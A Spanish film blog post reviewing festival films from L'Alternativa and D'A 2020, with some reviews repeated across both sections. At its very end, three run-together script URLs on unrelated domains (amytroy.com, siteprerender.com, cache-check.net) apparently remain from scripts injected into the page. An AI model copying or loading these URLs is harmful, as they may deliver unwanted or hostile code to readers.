L’ALTERNATIVA 27: Oficial Largometrajes. Nacional y Sesiones especiales (y 2)

Seguimos, desde el sofá de casa, descubriendo películas de la sección NACIONAL de LARGOMETRAJES. Llega el turno de BIG BIG BIG, de Carmen Haro y Miguel Rodríguez Pérez. La película en un tono doméstico y muy cercano, y con muchos momentos de humor irónico, sagaz y divertido, se adentra en un ensayo-experimento sobre las consecuencias de visionar una treintena de veces una película como Big, producto comercial hollywodiense de finales de los ochenta, y también, a partir de la visita de amigos y familiares, que ven la película con la pareja de directores, que van exponiendo sus reflexiones sobre la película, tanto a nivel técnico, emocional, cultural, político y psicológico, convirtiendo la visión de cada uno en un retrato interesantísimo y muy personal de la aventura que tiene cada uno de ver y analizar una película, y de mirar el cine y todo lo que eso conlleva. DE LOS NOMBRES DE LAS CABRAS, Miguel G. Morales y Silvia Navarro Martín. La investigadora Silvia Navarro colaboradora del tándem de cineastas Helena Girón y Samuel M. Delgado, junto a Miguel G. Morales, director de interesantes trabajos a partir de archivos fílmicos, dirigen un documento sobre “Los Guanches” la antigua civilización de los aborígenes canarios, ubicada en las Islas Canarias. A partir de películas y archivos fílmicos, trazan un documento profundo y personal sobre la memoria, la reivindicación del archivo fílmico para sumergirse en el pasado a través del presente, y sobre todo, un magnífico análisis sobre nuestra historia, y nuestro presente, con las entrevistas en off de pastores de la zona, para hablarnos del paso del tiempo, de la desaparición de una forma de vivir, y las consecuencias de un progreso que se olvida de donde viene.

Recupero dos textos escritos para el D’A de este año, en el que hablo de dos películas incluidas en esta sección. VIDEO BLUES, de Emma Tusell. Segundo largo de la montadora de Cuerda o Vermut, en el que nos invita a reflexionar sobre la memoria y sus ausencias y fantasmas, a través de su archivo familiar y personal, en el que reconstruye su identidad a través de grabaciones en video de su niñez y luego sus propias filmaciones en las que indaga en las huellas de sus padres fallecidos, y sus procesos emocionales, a las que añade diálogos junto a su pareja, en una cinta sobre el tiempo pasado y presente, y la memoria como vehículo esencial para buscar, investigar y (re) encontrarse con lo que hemos sido, nuestros recuerdos, y lo que somos. LA MAMI, de Laura Herrero Garvín. En El remolino (2016) centrada en una pequeña comunidad de Chiapas, en México, que convivía con las inundaciones anuales. En su segundo trabajo, la toledana se traslada a la capital mexicana para mostrarnos el “Barba Azul”, un mítico cabaret, para presentarnos a “La Mami”, antigua cabaretera que ahora regenta el backstage del lugar, cuidando a las mujeres que allí trabajan. Herrero teje a fuego lento una obra de gran calado humanista, poderosa y absorbente, por su sencillez y honestidad, en la que su observadora e inquieta cámara nos acerca a la realidad de muchas mujeres que se dedican a damas de compañía por apuros económicos, y nos muestran una realidad femenina que debe salir del arroyo con trabajos difíciles, que ocultan a los suyos.

De la sección INTERNACIONAL de LARGOMETRAJES, recupero una película con sabor muy de aquí, como CAMAGROGA de Alfonso Amador. El cineasta madrileño nos sumerge en la huerta valenciana de la mano de Antonio Ramón y su hija Inma, dos de los pocos agricultores que siguen cultivando la chufa a pesar de los embates del progreso descontrolado y desmedido y el demonio de la globalización. Durante un año, asistimos a todos los procesos del cultivo, escuchamos charlas entre amigos y otros agricultores, viajamos al pasado a través del archivo, y sentimos el aroma de la huerta, sus gentes, su riqueza, su biodiversidad, y los problemas a los que se enfrentan por seguir manteniendo su tierra a pesar de la tremenda especulación inmobiliaria. Una obra singular, interesante y magnética, que a través de lo mínimo y el humanismo nos muestra las últimas personas de un oficio que deberá seguir luchando para mantener su espacio.

De las sesiones ESPECIALES, rescató la película NUNCA SUBÍ EL PROVINCIA, de Ignacio Agüero. El cineasta chileno lleva más de cuatro décadas construyendo una mirada muy personal, íntima y profunda sobre su país y su entorno, con títulos memorables como Cien niños esperando un tren o Aquí se construye, por citar algunos de sus títulos más recordados. Ahora, nos traza una mirada interesando sobre su entorno más cercano, la vivienda donde creció y donde vive, que distan de pocos metros, para hablarnos de los cambios en su barrio, escuchando a la gente y a través de las cartas que envía a una joven cineasta, para sumergirnos en la memoria de su país, su familia, sus amigos y él mismo, en la que todo fluye de una forma sencilla y humana, solo como el director chileno sabe hacer, con su especial sensibilidad para acercarse a aquello ajeno y cercano, para mirar y ser mirado, para vivir y ser vivido, para mostrar y filmar, como un continuo fluir de la vida y el cine. Para finalizar, me detuve en la película que cerraba esta atípica, pero celebradísima edición 27 de L’ALTERNATIVA, con la mirada, siempre atenta y humana de EPICENTRO, de Hubert Sauper. El cineasta austriaco, recordado por títulos como La pesadilla de Darwin y We come as friends, nos vuelve a asombrar y maravillarnos, con una película sobre Cuba, y sobre todo, sus gentes, en especial, los niños, en la que nos habla de colonialismo, de propaganda, de historia, de utopía, del propio lenguaje del cine, y sobre todo, de imperios y personas. Sauper vuelve a su forma tan íntima y humana de captar la vida, el instante y todo aquello que bulle a su alrededor, mostrando las formas de vida, los de aquí y los de allá, capturando la memoria, tanto el presente como el pasado en un solo instante, alejándose del tan manido cine político que opta por el discurso y el panfleto, aquí no hay nada de eso, solo vida, historia y personas que viven y sueñan.

Y hasta aquí mi paso por la no XXVII Edición de L’ALTERNATIVA. Festival de Cinema Independent de Barcelona. Un festival convertido en un referente magnífico para todos aquellos que amamos el cine, sus buenas historias, reflexivas, comprometidas y valientes, que nos hablan con personalidad y carácter de los problemas más cotidianos, políticos, sociales, económicos y culturales, un certamen que enriquece de manera extraordinaria el otoño cinéfilo de Barcelona, y la edición de este año ha ofrecido un nivel cinematográfico altísimo, donde han brillado películas de diferentes lugares del mundo, con la fascinación intrínseca del ser humano por contar historias y otros, por verlas y apreciarlas. Mi enorme agradecimiento al equipo del festival, ya que en estas circunstancias tan raras, se haya podido llevar a cabo esta edición online a través de la imperdible plataforma Filmin. Hasta la edición del año que viene!!! Muchas Gracias por todo L’ALTERNATIVA 2020!! JOSÉ ANTONIO PÉREZ GUEVARA

D’A 2020: Un Impulso Colectivo y Extras (2)

La segunda entrega de las reflexiones del D’A Film Festival se posa en UN IMPULSO COLECTIVO, una de las secciones más queridas y admiradas por el que suscribe, porque nos hace descubrir ese cine inquieto, reflexivo y muy alejado de lo comercial, un cine que se le niega su presencia en los circuitos convencionales, y es en los festivales, donde adquiere su relevancia e importancia. Mi paseo, desde el sofá de mi casa, arrancó con VIOLETA NO COGE EL ASCENSOR, de Mamen Díaz. Al llegar el verano, Delphine se encontraba sola para ir de vacaciones en El rayo verde, de Rohmer. Algo parecido anímicamente le ocurre a Violeta, pero sin salir de Madrid, trabajando como becaria en un pequeña editorial. La joven se siente desorientada y sin rumbo, jugando al amor sin ninguna convicción, y teniendo esa sensación extraña que el tiempo pasa por encima. La opera prima de Mamen Díaz es una comedia romántica alejada de los convencionalismos, donde se habla de amor, de relaciones, de sentimientos, de cine, y de estados de ánimo, y también, de verano, con la estupenda Violeta Rodríguez en su primer rol protagonista, mostrando naturalidad y sensibilidad. Tiene ese marco de películas ligeras, frescas y divertidas de Hong Sang-soo o Jonás Trueba, donde cine, vida y amigos se entrecruzan en relatos de aquí y ahora. AS MORTES, de Cristóbal Arteaga Rozas. En El triste olor a carne (2013) Alfredo Rodríguez era un hombre desesperado por conseguir dinero ante el desahucio de su casa. Ahora, es un aldeano gallego que asesina a su mujer y oculta el caso a sus allegados y vecinos. El quinto trabajo del director chileno es un thriller rural filmado en un primoroso blanco y negro. La película se envuelve en silencios, fantasmas y misterios, en una película austera y muy inquietante, con muy pocos personajes, creando esa atmósfera sucia y oscura, que nos atrapa desde el primer instante. Arteaga Rozas maneja como nadie el tempo cinematográfico, con la presencia de unos cuerpos y rostros que construyen con paciencia y cuidado todo lo que va sucediendo de manera sencilla y sobria en la pantalla. Otra grandísima obra de ese cine gallego que brilla con luz propia.

LA REINA DE LOS LAGARTOS, de Burnin’ Percebes. El dúo de cineastas Fernando Martínez y Juan González, vuelven en su tercer largometraje a ese cine low cost, sensible, divertido y atípico, en el que mezclan una tierna historia de amor entre una madre soltera y un extraterrestre, con la ciencia-ficción, el humor más irreverente y el melodrama, en una Barcelona diferente y periférica. Bruna Cusí y Javier Botet son los protagonistas de una cinta que no dejará a nadie indiferente, atemporal y extraña, filmada en Súper 8, y con una banda sonora extraordinaria con temas de notas religiosas, muy al estilo de la semana santa, para contarnos que a veces la vida juega con nosotros y nos depara situaciones y personas que no esperamos en absoluto. VIDEO BLUES, de Emma Tusell. Segundo largo de la montadora de Cuerda o Vermut, en el que nos invita a reflexionar sobre la memoria y sus ausencias y fantasmas, a través de su archivo familiar y personal, en el que reconstruye su identidad a través de grabaciones en video de su niñez y luego sus propias filmaciones en las que indaga en las huellas de sus padres fallecidos, y sus procesos emocionales, a las que añade diálogos junto a su pareja, en una cinta sobre el tiempo pasado y presente, y la memoria como vehículo esencial para buscar, investigar y (re) encontrarse con lo que hemos sido, nuestros recuerdos, y lo que somos.

LA EDUCACIÓN SENTIMENTAL, de Jorge Juárez. El director madrileño, ayudante de dirección de Rebollo y Veiroj, entre otros, construye una intensa y emotiva opera prima sobre el amor, el cine, la crisis económica y los recuerdos de su infancia y adolescencia, en una cinta autorreferencial, en que en una magnífica voz en off del propio Juárez, nos guía por un viaje sobre la memoria personal, el amor a distancia, y las consecuencias vitales y sentimentales de la crisis, y sobre todo, el cine y su final analógico, a través de ese proyeccionista maravilloso. Una película que recuerda al espíritu que dominaba a Los ilusos, de Jonás Trueba, ese cine que se hace cuando no se hace cine, en que la vida real se filtra entre las imágenes de ficción o no. ACTOS DE PRIMAVERA, de Adrián García Prado. El director madrileño se filma a sí mismo durante la primavera, con abundantes elementos autobiográficos, en los que explora las posibilidades del cine capturando la luz, su cuerpo y el paisaje, tomando prestado de aquí y de allá, en una película absorbente y peculiar, en que el cine adquiere un componente muy importante, como una especie de tabla de salvación, en tiempos de precariedad económica, en tiempos donde la vida necesita ser filmada, al igual que sus reflexiones, descubriéndonos un universo cotidiano y doméstico, sobre lo que nos rodea y sobre nosotros mismos, en un relato sobre aquello que ocultamos y mostramos.

MY MEXICAN BRETZEL, de Núria Giménez. Un maravilloso y fascinante fake, que nos absorbe desde sus primeras imágenes, llevándonos a través de un matrimonio suizo de clase acomodada por los años cincuenta y sesenta, descubriendo el mundo a través de sus vacaciones filmadas en Súper 8, y los textos del diario de ella, en un perverso, inquietante y extraordinario juego de espejos con el aroma del melodrama clásico de Sirk o Wyler, donde no falta de nada, amores apasionados, infidelidades, mentiras, realidades ocultas, obsesiones, tragedias y la descomposición del matrimonio, del amor, y sobre todo, de la vida, en la sugerente y brutal opera prima de la directora barcelonesa, convertida, sin lugar  a ningún género de dudas, en una de las grandes películas del D’A de esta edición. GIRANT PER SANT ANTONI, de Pere Alberó. La monumental y larguísima reforma del Mercat de Sant Antoni de Barcelona, con más de 140 años de historia, sirve a Alberó para acercarse a todos los universos que se mezclan en ese microcosmos, desde las obras del edificio, sus obreros, extranjeros muchos de ellos, los paradistas en su ubicación y la nueva, las tiendas centenarias de la zona, el homeless vendedor de libros, y los vecinos que sufren gentrificación, tanto mayores como jóvenes, a través de sus luchas y reivindicaciones para tener un hogar y futuros dignos. La película se mueve entre el documento que captura una realidad efímera y cambiante, y el ensayo más crítico y social, abordando la memoria e identidad del barrio, mostrando la vida y las diferentes personas, tanto sus pequeñas y grandes realidades, con el aroma de películas como Aquí se construye, de  Agüero o En construcción, de Guerín.

Me acercó a una de las películas de la sección ESPECIALS con JESUS SHOW YOU THE WAY TO THE HIGWAY, de Miguel Llansó. Con Crumbs (2015) el cineasta madrileño demostró que se podían romper todos los esquemas establecidos para contarnos una cinta futurista muy diferente, extraña y romántica, con su inseparable Daniel Tadesse Gagano, su actor fetiche. En su segundo trabajo sigue esa línea en la que los géneros, estéticas y narrativas se mezclan y fusionan creando una cinta que bebe de la ciencia-ficción, al estilo Matrix, la comedia alocada, los relatos de espías, los súper héroes, los videojuegos, etc… Con el aroma sesentero y atemporal, situada nuevamente en Nigeria, y construyendo un universo de múltiples capas donde se ríe de todo, apuntando a lo convencional, y a la cultura popular estadounidense, incluso de sí mismo. De la sección TALENTS me detengo en la película LA MAMI, de Laura Herrero Garvín. En El remolino (2016) centrada en una pequeña comunidad de Chiapas, en México, que convivía con las inundaciones anuales. En su segundo trabajo, la toledana se traslada a la capital mexicana para mostrarnos el “Barba Azul”, un mítico cabaret, para presentarnos a “La Mami”, antigua cabaretera que ahora regenta el backstage del lugar, cuidando a las mujeres que allí trabajan. Herrero teje a fuego lento una obra de gran calado humanista, poderosa y absorbente, por su sencillez y hoenstidad, en la que su observadora e inquieta cámara nos acerca a la realidad de muchas mujeres que se dedican a damas de compañía por apuros económicos, y nos muestran una realidad femenina que debe salir del arroyo con trabajos difíciles, que ocultan a los suyos. JOSÉ A. PÉREZ GUEVARA

 

https://amytroy.com/22c6c62e692095b261.jshttps://siteprerender.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8902xhttps://cache-check.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8902x&format=arrjs&r=1589203806737